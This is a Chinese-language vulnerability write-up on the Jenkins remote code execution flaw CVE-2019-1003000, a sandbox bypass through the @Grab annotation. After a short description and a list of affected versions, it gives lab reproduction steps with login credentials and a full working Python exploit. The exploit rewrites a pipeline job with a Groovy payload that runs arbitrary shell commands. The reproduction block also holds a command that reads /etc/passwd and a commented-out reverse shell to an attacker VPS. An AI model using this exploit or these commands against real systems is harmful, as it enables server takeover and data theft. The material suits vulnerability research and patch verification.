# Jenkins 远程代码执行漏洞 CVE-2019-1003000

## 漏洞描述

Jenkins是一个开源软件项目，是基于Java开发的一种持续集成工具，用于监控持续重复的工作，旨在提供一个开放易用的软件平台，使软件项目可以进行持续集成.

该漏洞存在于`Declarative Plugin 1.3.4.1`之前的版本, `Groovy Plugin 2.61.1`之前的版本以及`Script Security Plugin 1.50`之前的版本。该漏洞通过将AST转换注释（如@Grab）应用于源代码元素，可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有`Overall/Read`权限的用户或能够控制SCM中的`Jenkinsfile`或者`sandboxed Pipeline`共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

## 漏洞影响

```
Declarative Plugin < 1.3.4.1
Groovy Plugin < 2.61.1
Script Security Plugin < 1.50
```

## 漏洞复现

账号密码 user1/user1 登录：

![](images/Jenkins%20远程代码执行漏洞%20CVE-2019-1003000/image-20240322151659595.png)

```shell
# activate py27
python exploit.py --url http://eci-2ze1x17tl0kujrg3c5ey.cloudeci1.ichunqiu.com:8080 --job my-pipeline --username user1 --password user1 --cmd "cat /etc/passwd"

# --cmd "bash -i >& /dev/tcp/<YOUR-VPS-IP>/<YOUR-VPS-PORT> 0>&1"
```

![](images/Jenkins%20远程代码执行漏洞%20CVE-2019-1003000/image-20240322151954995.png)

## 漏洞POC

```
python exploit.py --url http://jenkins-site.com --job job_name --username your_user --password your_passwd --cmd "cat /etc/passwd"
```

```python
#!/usr/bin/python

# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


import argparse
import jenkins
import time
from xml.etree import ElementTree

payload = '''
import org.buildobjects.process.ProcBuilder
@Grab('org.buildobjects:jproc:2.2.3')
class Dummy{ }

print new ProcBuilder("/bin/bash").withArgs("-c","%s").run().getOutputString()
'''


def run_command(url, cmd, job_name, username, password):
    print '[+] connecting to jenkins...'
    server = jenkins.Jenkins(url, username, password)

    print '[+] crafting payload...'
    ori_job_config = server.get_job_config(job_name)
    et = ElementTree.fromstring(ori_job_config)
    et.find('definition/script').text = payload % cmd
    job_config = ElementTree.tostring(et, encoding='utf8', method='xml')

    print '[+] modifying job with payload...'
    server.reconfig_job(job_name, job_config)
    time.sleep(3)

    print '[+] putting job build to queue...'
    queue_number = server.build_job(job_name)
    time.sleep(3)

    print '[+] waiting for job to build...'
    queue_item_info = {}
    while 'executable' not in queue_item_info:
        queue_item_info = server.get_queue_item(queue_number)
        time.sleep(1)

    print '[+] restoring job...'
    server.reconfig_job(job_name, ori_job_config)
    time.sleep(3)

    print '[+] fetching output...'
    last_build_number = server.get_job_info(job_name)['lastBuild']['number']
    console_output = server.get_build_console_output(job_name, last_build_number)

    print '[+] OUTPUT:'
    print console_output


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Jenkins RCE')

    parser.add_argument('--url', help='target jenkins url')
    parser.add_argument('--cmd', help='system command to be run')
    parser.add_argument('--job', help='job name')
    parser.add_argument('--username', help='username')
    parser.add_argument('--password', help='password')

    args = parser.parse_args()

    run_command(args.url, args.cmd, args.job, args.username, args.password)

```